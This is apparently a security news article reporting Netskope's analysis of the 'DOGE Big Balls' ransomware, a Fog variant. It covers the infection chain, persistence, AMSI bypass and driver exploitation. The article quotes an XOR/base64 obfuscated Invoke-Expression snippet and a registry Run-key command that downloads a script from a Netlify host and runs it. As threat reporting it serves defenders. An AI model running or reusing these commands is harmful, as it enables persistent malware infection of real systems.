Cybersecurity experts have uncovered a new and highly advanced strain of ransomware, dubbed “DOGE Big Balls,” which is believed to be a modified iteration of the well-known Fog ransomware family.
This unique threat, named after the Department of Government Efficiency (DOGE), utilizes a sophisticated multi-stage infection process. It leverages custom-crafted PowerShell scripts along with a collection of widely used open-source utilities to infiltrate and compromise targeted systems.
The malware’s ransom notes and embedded files feature political commentary, references to prominent figures, and links to online videos, hinting at possible ideological motives behind the attacks. Though the exact methods of initial infection remain unclear, experts suspect that phishing emails and the exploitation of vulnerable, exposed services are likely among the primary delivery mechanisms.
Once activated, DOGE Big Balls sets off a series of attacks that gradually establish persistence within the system, steal credentials, facilitate lateral movement, and, in the final stage, encrypt the victim’s data.
The operators behind this ransomware are continuously refining their tools, regularly updating their scripts hosted on platforms like Netlify, which points to a commitment to ongoing development and a high level of operational security.
During routine threat hunting activities, Netskope researchers detected an unfamiliar payload linked to DOGE Big Balls ransomware. Their investigation revealed a set of new tools that had not been previously documented by other security firms such as Trend Micro, Cyble, and the DFIR Report, who had been tracking this threat actor in the past.
The infection process begins with an MSI installer that runs an obfuscated PowerShell script. This script is encrypted using a combination of XOR encryption with a single-byte key and base64 encoding, a technique that is repeated across several components of the malware.
PowerShell Script (Source – Netskope)
The payload.msi file includes a CustomAction table entry designed to trigger a PowerShell command that bypasses execution policies: powershell -Execution Policy Bypass -WindowStyle Hidden -File wix.ps1.
When decoded, the wix.ps1 script first verifies whether the system has administrator privileges. It then establishes persistence by placing a shortcut file, “EdgeAutoUpdater.lnk,” into the Windows Startup folder. Additionally, it sets up a scheduled task named “EdgeAutoUpdater Task,” programmed to execute at midnight. This ensures that the malware’s stage1.ps1 script will be downloaded and executed, even if the initial infection is disrupted.
Infection Mechanism Analysis
The stage1.ps1 script acts as the command and control hub for the malware, coordinating the download and execution of multiple additional payloads.
The script starts by creating a hidden directory within the Windows Startup folder, using attribute manipulation to hide its presence. To avoid detection, it attempts to disable Windows Defender by executing obfuscated commands, such as:
php
$key = 97; $encoded = “QmFBYV […redacted…] rYWth”;
$xorBytes = [Convert]::FromBase64String($encoded);
$bytes = $xorBytes | ForEach-Object { $ -bxor $key };
$cmd = [System.Text.Encoding]::Unicode.GetString($bytes);
Invoke-Expression $cmd
This method of obfuscation helps the malware evade string-based detection techniques. The script also downloads and runs additional malicious files like cwiper.exe, ktool.exe, sh.exe, and others.
One noteworthy component, ktool.exe, exploits a vulnerability in a driver (CVE-2015-2291) via a technique known as BYOVD (Bring Your Own Vulnerable Driver). This allows it to deploy the Havoc Demon payload, ensuring continued persistence and enabling remote access.
The amsibypass.ps1 component specifically targets the Windows Antimalware Scan Interface (AMSI). It manipulates the “AmsiScanBuffer” function in memory, replacing its normal behavior with custom assembly code that forces the function to always return a clean result (0x80070057). This advanced evasion strategy ensures that subsequent malicious activities can proceed without triggering security scans.
To solidify its persistence, the malware modifies the registry, adding entries to the Run key with commands such as:
bash
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v UpdaterService /t REG_SZ /d “powershell -windowstyle hidden ExecutionPolicy Bypass iwr -uri gentle-chebakia-da1172.netlify.app/stage1.ps1 | IEX” /f
Netskope’s latest findings indicate that the malware operators have expanded their toolkit with new components, including cryptocurrency mining software and advanced credential harvesting tools. This suggests that the threat actors are broadening their operations, driven by financial motives that go beyond traditional ransomware attacks.
